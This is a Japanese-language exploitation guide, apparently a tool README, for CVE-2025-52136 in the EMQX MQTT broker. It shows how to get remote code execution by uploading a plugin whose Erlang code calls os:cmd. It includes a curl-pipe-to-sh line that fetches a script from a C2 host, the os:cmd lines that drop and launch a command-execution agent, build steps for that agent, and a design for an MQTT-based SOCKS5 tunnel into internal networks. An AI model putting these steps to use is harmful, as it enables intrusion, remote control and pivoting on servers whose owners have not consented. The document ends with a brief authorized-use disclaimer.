CVE-2025-52136

https://github.com/ricardojoserf/emqx-RCE
元の利用方法は、EMQXプラグインをアップロードし、プラグインテンプレートのコードにErlangのosモジュールを追加してシステムコマンドを実行しRCEを行うものです。

出網環境（外部接続可能な環境）では、環境にデフォルトでcurlが存在するため、直接curl http://xx.xx.xx.xx/1.sh | shでC2に接続できます。

ターゲットが外部接続できない場合、EMQX自体がMQTTメッセージサーバーであるため、プラグインのアップロードと組み合わせて、EMQXサーバー上でアップロードした実行可能プログラムを直接実行できます。 EMQXをMQTTメッセージキューのコアとして使用し、デプロイしたプログラムを直接「システムコマンドプロキシ」として機能させ、クライアントが送信したコマンドをサブスクライブし、実行結果をトピックにパブリッシュします。

設計思想

       +-------------+
       |   クライアント |
       | コマンド送信  |
       | トピック: rx/cmd|
       +------+-------+
              |
           MQTT Broker (EMQX)
              |
       +------+-------+
       |  コマンドプロキシ |
       |  サブスクライブ rx/cmd |
       |  システムコマンド実行 |
       |  パブリッシュ tx/cmd |
       +--------------+

コンパイルと使用方法

go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go

その後、原作者の利用方法に従い、my_emqx_plugin.erlに3行追加します。

    os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
    os:cmd("chmod +x /tmp/mqtt_agent"),
    os:cmd("bash -c \"/tmp/mqtt_agent\""),

プラグインのコンパイル後、任意の圧縮ツールを使用してmqtt_agentをmy_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ディレクトリに配置します。

プラグインをアップロード

その後、クライアントでtx/cmdにサブスクリプションを追加し、トピックをrx/cmdにすれば使用できます。

プロキシトンネル

同様に、MQTTを介してClient ↔ Agent間にトンネルを開設し、TCPデータをMQTT経由で双方向に内網（内部ネットワーク）のAgentへ転送し、Agentが内網のターゲットホストに接続することで、内網穿透（内部ネットワークへのトンネリング）を実現できます。

この方式にはいくつかの欠点があります：

1. MQTTの帯域幅と遅延
2. 高並行接続

go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid

go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go

使用方法は上記のRCEプロセスと同様です。ここでは直接ローカルポートを起動してsocks5トンネルとしてトラフィックを転送します。

Agent側の注意点

• Agentはカスタムトピックと制御メッセージ（open/ack/close、data/c2a、data/a2c）に対応している必要があります。
• Agentは tunnel/+/+/ctrl と tunnel/+/+/data/c2a をサブスクライブします。
• Agentは tunnel/{session}/{connID}/data/a2c および .../ctrl のackにパブリッシュします。

プロキシトンネルは自分でコンパイルして使用してください。

注意

このツールは、許可された環境/テスト環境でのみ使用可能であり、不正利用は厳禁です。